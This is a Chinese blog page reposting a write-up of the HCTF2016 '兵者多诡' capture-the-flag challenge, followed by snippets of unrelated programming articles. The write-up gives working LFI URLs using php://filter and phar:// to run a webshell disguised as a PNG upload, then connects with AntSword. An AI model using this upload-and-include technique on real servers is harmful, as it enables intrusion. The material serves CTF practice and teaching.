当前位置： 首页 > news >正文

兵者多诡(HCTF2016)

news 文章来源：https://blog.csdn.net/qq_51886509/article/details/132673391 2024/11/3 0:32:46

环境:https://github.com/MartinxMax/CTFer_Zero_one

题目简介

解题过程

登录首页

图片.png

提交png图片上传抓包，可以看到是向upload文件提交数据

图片.png

图片.png

在fp参数中尝试伪协议读取home.php文件

http://127.0.0.1:88/HCTF2016-LFI/home.php?fp=php://filter/read=convert.base64-encode/resource=home&imagekey=20de480b0e91ea1d67712e491fc2a72b66d782de

包含点后自动被添加了.php,而上传只能是png,那么就利用phar或zip伪协议进行getshell

图片.png

将webshell直接添加压缩包,并且将shell.zip改为shell.png

图片.png

上传图片马,利用phar协议进行文件包含

http://127.0.0.1:88/HCTF2016-LFI/home.php?fp=phar://uploads/25b58d5902e9bb5b9a8569648a86d4dbe9d6d592.png/shell&imagekey=25b58d5902e9bb5b9a8569648a86d4dbe9d6d592

图片.png

上蚁剑,连接webshell

图片.png

Flag

hctf{Th1s_1s_e4sY_1s_n0T_1t?}

相关文章：

兵者多诡(HCTF2016)

环境:https://github.com/MartinxMax/CTFer_Zero_one 题目简介 解题过程 登录首页 提交png图片上传抓包，可以看到是向upload文件提交数据 在fp参数中尝试伪协议读取home.php文件 http://127.0.0.1:88/HCTF2016-LFI/home.php?fpphp://filter/readconvert.base64…...

编程日记 2023/9/12 1:38:19

【JAVA-Day04】Java关键字和示例：深入了解常用关键字的用法

Java关键字和示例：深入了解常用关键字的用法 摘要Java 关键字、标识符和命名规范一、Java 关键字常用关键字DEMO1. 示例代码使用 if 和 else 关键字：2. 示例代码使用 for 循环：3. 示例代码使用 switch 关键字：4. 示例代码使用 wh…...

编程日记 2023/9/12 1:37:18

Android请求网络报错：not permitted by network security policy

一、错误记录 https的接口请求正常的， 请求http的接口时报错：not permitted by network security policy 二、问题分析 原因： 由于 Android P(版本27以上) 限制了明文流量的网络请求，非加密的流量请求都会被系统禁止掉。如果当…...

编程日记 2023/9/12 1:36:17

python报错：ImportError: urllib3 v2.0 only supports OpenSSL 1.1.1

python报错：ImportError: urllib3 v2.0 only supports OpenSSL 1.1.1 问题分析 说明：requests包引入了urllib3，而新版本的urllib3 需要OpenSSL 1.1.1以上版本，否则报错： ImportError: urllib3 v2.0 only supports Ope…...

编程日记 2023/9/12 1:35:16

如何使用adb command来设置cpu频率和核数

透過ADB Shell設定CPU開核與freq的command與用法如下: # Disable PPM echo 0 > /proc/ppm/enabled # Enable PPM (Default) echo 1 > /proc/ppm/enabled echo 0 > /proc/ppm/enabled Fixed # Core for each cluster echo X Y > /proc/ppm/policy/ut_fix_core_num …...

编程日记 2023/9/12 1:34:15

236. 二叉树的最近公共祖先

236. 二叉树的最近公共祖先 题目-中等难度示例1. dfs 题目-中等难度 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为：“对于有根树 T 的两个节点 p、q，最近公共祖先表示为一个节点 x，满足 x 是 p…...

编程日记 2023/9/12 1:33:14

Git常见问题：git pull 和 git pull --rebase二者区别

git pull 和 git pull --rebase 都是从远程仓库获取最新的更改并将其合并到本地分支。但它们之间的区别在于合并方式。以下是它们之间的主要区别： git pull： 当你执行 git pull 时，Git 会执行以下两个操作： git fetch&#xff…...

编程日记 2023/9/12 1:32:13

关于HarmonyOS元服务的主题演讲与合作签约

一、感言 坚持中，总会有很多意想不到的收获。 前几次参与HDC时更多的是观众、开发者、专家的身份，以参观、学习、交流为主。 通过几年的努力，和HarmonyOS功能成长，在2023年的HDC大会中，有了我的演讲，并带领…...

编程日记 2023/9/12 1:31:12

cache 学习

好文章： Cache的基本原理 - 知乎...

编程日记 2023/9/12 1:30:11

SSM - Springboot - MyBatis-Plus 全栈体系（六）

第二章 SpringFramework 四、SpringIoC 实践和应用 3. 基于 注解 方式管理 Bean 3.1 实验一：Bean 注解标记和扫描 (IoC) 3.1.1 注解理解 和 XML 配置文件一样，注解本身并不能执行，注解本身仅仅只是做一个标记，具体的功能是框…...

编程日记 2023/9/12 1:29:10

【Flutter】引入网络图片时，提示：Failed host lookup: ‘[图片host]‘

在使用 NetworkImage 组件加载外部图片时，提示 Failed host lookup: [图片host] 错误。 排查方向 1、清理缓存 解决方案： 尝试flutter clean清空缓存后重新安装依赖flutter pub get重新构建项目flutter create . 走完上述三个步骤后，再次…...

编程日记 2023/9/12 1:28:10

Python基础教程：索引和切片

前言 嗨喽，大家好呀~这里是爱看美女的茜茜呐 索引（下标） 索引又称下标，用来表示可迭代对象中的某个元素的位置。 用正整数表示的索引值，从左向右定位，从 0 开始计数，如 0，1&#…...

编程日记 2023/9/12 1:27:09

JVM基础面试题

JDK、JRE、JVM的关系 JVM Java虚拟机，它只识别.class类型文件，它能将class文件中的字节码指令进行识别并调用操作系统向上的API完成动作。 JRE Java运行时环境。它主要包含两部分：Jvm的标准实现和Java的一些基本类库。相对于JVM来说,JRE多出来…...

编程日记 2023/9/12 1:26:08

蓝桥杯官网填空题（平方末尾）

题目描述 本题为填空题，只需要算出结果后，在代码中使用输出语句将所填结果输出即可。 能够表示为某个整数的平方的数字称为“平方数” 虽然无法立即说出某个数是平方数，但经常可以断定某个数不是平方数。 因为平方数的末位只可能是&#x…...

编程日记 2023/9/12 1:25:07

深入探究数据结构与算法：构建强大编程基础

文章目录 1. 为什么学习数据结构与算法？1.1 提高编程技能1.2 解决复杂问题1.3 面试准备1.4 提高代码效率 2. 学习资源2.1 经典教材2.2 在线学习平台2.3 学习编程社区 3. 数据结构与算法的实际应用3.1 排序算法3.2 图算法3.3 字符串匹配算法 4. 结论 🎉欢…...

编程日记 2023/9/12 1:23:33

Android 自定义View之圆形进度条

很多场景下都用到这种进度条，有的还带动画效果， 今天我也来写一个。 写之前先拆解下它的组成： 底层圆形上层弧形中间文字 那我们要做的就是： 绘制底层圆形；在同位置绘制上层弧形，但颜色不同&#xff…...

编程日记 2023/9/12 1:22:32

力扣（LeetCode）算法_C++——字母异位词分组

给你一个字符串数组，请你将 字母异位词 组合在一起。可以按任意顺序返回结果列表。 字母异位词 是由重新排列源单词的所有字母得到的一个新单词。 示例 1: 输入: strs [“eat”, “tea”, “tan”, “ate”, “nat”, “bat”] 输出: [[“bat”],[“nat”,“tan”…...

编程日记 2023/9/12 1:21:31

【LeetCode-中等题】59. 螺旋矩阵 II

文章目录 题目方法一：二维数组缩圈填数字方法二： 题目 方法一：二维数组缩圈填数字 定义四个边界条件，每转一圈，把数值填进去，然后缩小一圈，直到不满足条件位置 结束循环条件可以是： …...

编程日记 2023/9/12 1:20:29

错误: 找不到或无法加载主类 Main

在用git回退到上个版本后发现，无法运行项目并提示 错误: 找不到或无法加载主类 Main 可以看到Main前面的图标也是号。 查了半天没有解决，问了个大佬，大佬一下就解决掉了，本文记录下解决过程。 错误原因是编辑器无法找到代码位置&…...

编程日记 2023/9/12 1:19:28

【云原生】Kubeadmin安装k8s集群

目录 前言： 一 环境部署 1.1 服务器部署功能 1.2 环境准备（所有节点） 二 安装docker（所有节点） 三 所有节点安装kubeadm，kubelet和kubectl 3.1 定义kubernetes源 3.2 开机自启kubelet 四 部署K8S集…...

编程日记 2023/9/12 1:18:27

Java：Springboot和React中枚举值（数据字典）的使用

目录 1、开发中的需求2、实现效果3、后端代码4、前端代码5、接口数据6、完整代码7、参考文章 1、开发中的需求 开发和使用过程中，通常会涉及四个角色：数据库管理员、后端开发人员、前端开发人员、浏览者 数据库使用int类型的数值进行存储（e…...

编程日记 2023/9/12 1:17:26

git撤回 不小心 commit 进去的文件

我时候 我们可能讲一下不想提交的文件 不小心commit了进去 我们可以通过 git reset HEAD~来撤回刚才的添加记录...

编程日记 2023/9/12 1:16:25

qt之movetothread理解

基础概念 qt的下线程qthread，每个线程都有自己的事件循环exec。对象的线程上下文，每个对象都有自己的线程上下文，怎么理解呢，就是该对象在哪个线程创建，其线程上下文就是谁。每个qobject对象在创建时都有包含线程成员…...

编程日记 2023/9/12 1:15:24

深入剖析：垃圾回收你真的了解吗？

小熊学Java：https://www.javaxiaobear.cn/ 本文我们重点剖析 JVM 的垃圾回收机制。关于 JVM 垃圾回收机制面试中主要涉及这三个考题： JVM 中有哪些垃圾回收算法？它们各自有什么优劣？ CMS 垃圾回收器是怎么工作的？有哪…...

编程日记 2023/9/12 1:14:23

ue5 物理场的应用

cable mat wpo particle 流体粒子 choas 破损 刚体 布料 cloud abp blueprint riggedbody 体积雾 毛发 全局的 局部的 非均匀的 连续变化的 也可以多个叠加 从全局 到 范围 除了vector还有scalar的值也就是0--1的黑白灰的值 但是最终输出的值的类型还是取决于这个 一…...

编程日记 2023/9/12 1:13:22

移动零00

题目链接 移动零 题目描述 注意点 将所有 0 移动到数组的末尾，同时保持非零元素的相对顺序必须在不复制数组的情况下原地对数组进行操作 解答思路 采用双指针的思路，左指针指向已移动零的数组的尾部，右指针指向为移动零的数组的头部&…...

编程日记 2023/9/12 1:12:21

go初识iris框架(四) -框架设置操作

前言 iris(1) iris(2) iris(3) 框架设置操作 当我们的一个路径是xxx/user/info,xxx/user/login,xxx/user/register的时候,我们发现前面都有一个user,我们如果用/{data:string}这样的话这样导致我们的路径是灵活的，所以我们得用其他方法 这里我们的路径是以anime为…...

编程日记 2023/9/12 1:11:19

python基础语法(二)

目录 注释注释的语法注释行文档字符串 注释的规范 输入输出和用户的交互通过控制台输出通过控制台的输入 注释 注释的语法 注释行 python的注释:使用#开通的行都是注释 # 这是一行注释C语言的注释:使用//的都是注释 // 这是一行注释文档字符串 使用三引号引起来的称为文档…...

编程日记 2023/9/12 1:10:18

从本地到Gitee：一步步学习文件上传及解决常见报错问题

🙂博主：小猫娃来啦 🙂文章核心：一步步学习文件上传及解决常见报错问题 文章目录 安装git进入gitee官网，登录账号新建仓库先打开git命令行上传本地资源到仓库第一步：git init第二步：git add .第三…...

编程日记 2023/9/12 1:09:18

idea2018修改大小写提示（敏感）信息

操作步骤如下： File > Settings > Editor > Code Completion > Code Completion（默认是首字母，选为none将不区分大小写）...

编程日记 2023/9/12 1:08:03

个人可以做的外贸网站/个人网站建设

Python编写机械臂转动角度计算程序 在工业生产中，机械臂广泛应用于装配、搬运等领域。机械臂的转动角度计算是机械臂控制过程中的一个非常重要的环节。本文将介绍一个基于Python语言的机械臂转动角度计算程序，该程序可以用于自动化生产中的机器人控制系统。 在Python中，我…...

编程日记 2024/11/2 23:00:30

应用小程序下载/百中搜优化

目录 前言 SQL代码编写汇总 第一题: 第一题注意点:中等难度 找出 薪资第二高 目录 前言 SQL代码编写汇总 第一题: 第一题注意点:中等难度 找出 薪资第二高 Sql 1: Sql2: Sql3: 第二题: 中等难度 Rank :如果两个分数相同，则两个分数排名&#xff…...

编程日记 2024/11/2 22:29:37

建设网站的规则/推广手段

概述当linux系统中有信息需要进行格式化，可以怎么处理呢？今天我们就看下怎么把一串数字后面的逗号去掉。。。方法一1、sed可以使用linux下sed命令去掉一串数字后的逗号2、catsed如果文本信息是存在文件中，那么可以结合cat和sed两个命令来实现…...

编程日记 2024/11/2 21:57:39

苏州前几天网站建设/seo代码优化步骤

最近在做压力测试，用户数不到60，就没有办法响应，用了下面的优化流程并发性能提高了很多 环境centos5.7 tomcat6 http://apr.apache.org/download.cgi 1、修改tomcat让其支持NIO 编辑Tomcat目录下面的conf子目录下面的server.xml文件 vi …...

编程日记 2024/11/2 20:36:40

成都百度提升优化/杭州seo论坛

主要参考：https://docs.dgl.ai/tutorials/basics/2_basics.html 如何用DGLGraph创建图 如果创建一个图，有以下几种方式： 1）dgl.DGLGraph(g_nx) 可以先用networkx创建一个图，然后转为DGLGraph格式的；DGL…...

编程日记 2024/11/2 14:55:55

国能商旅app下载/无锡seo网络推广

一、什么是pamPAM(Pluggable Authentication Modules ) Sun公司于1995 年开发的一种与认证相关的通用框架机制, PAM 是关注如何为服务验证用户的 API，通过提供一些动态链接库和一套统一的API，将系统 提供的服务和该服务的认证方式分开, 使得系统管理员可…...

编程日记 2024/11/2 10:23:41